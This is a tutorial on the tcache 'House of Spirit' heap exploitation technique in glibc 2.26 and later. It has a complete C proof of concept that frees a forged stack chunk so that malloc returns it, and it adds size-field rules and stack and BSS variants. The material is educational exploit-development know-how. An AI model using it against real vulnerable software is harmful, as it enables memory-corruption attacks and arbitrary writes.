The House of Spirit attack on tcache allows an attacker to free a fake chunk and subsequently have malloc() return a pointer to that fake chunk. This tcache variant is significantly simpler than the original House of Spirit attack because tcache has fewer security checks.
The name “House of Spirit” comes from the original Malloc Maleficarum paper. The tcache version is much easier to exploit because _int_free calls tcache_put without checking if the next chunk’s size and prev_inuse fields are valid.
Works on: glibc 2.26 and later (any version with tcache)Key advantage: Unlike the original House of Spirit, you don’t need to create a fake chunk after the fake chunk being freed. The tcache path in _int_free bypasses many sanity checks.
#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){ setbuf(stdout, NULL); printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); printf("Ok. Let's start with the example!.\n\n"); printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1); printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsigned long long *a; //pointer that will be overwritten unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; printf("Freeing the overwritten pointer.\n"); free(a); printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b); assert((long)b == (long)&fake_chunks[2]);}
fake_chunks[0] -> prev_size (unused for tcache)fake_chunks[1] -> size field (0x40)fake_chunks[2] -> user data starts here (this is what malloc returns)fake_chunks[3+] -> rest of user data
Size field requirements:
Must be in tcache range: 0x20 <= size <= 0x410 on x64
Bits that must be 0: IS_MMAPPED and NON_MAIN_ARENA
PREV_INUSE bit is ignored (can be 0 or 1)
Must match the size of your subsequent malloc call (rounded up)
Size rounding example:
malloc(0x30) through malloc(0x38) all request chunk size 0x40
malloc(0x39) through malloc(0x48) all request chunk size 0x50
a = &fake_chunks[2]; // Point to user data region, not size field!
Critical: The pointer must point to fake_chunks[2] (the user data), not fake_chunks[1] (the size field). This is because malloc returns a pointer to the data region, which is 16 bytes after the chunk header.
// Fake chunk on stackunsigned long long fake[10] __attribute__((aligned(0x10)));fake[1] = 0x40;free(&fake[2]); // Inject into tcachemalloc(0x30); // Returns &fake[2]// Now you can write to stack via this allocation!
2. BSS-based exploitation:
// Global array that you can overwriteextern unsigned long long target_array[100];target_array[1] = 0x40; // Set sizefree(&target_array[2]); // Free fake chunkmalloc(0x30); // Returns &target_array[2]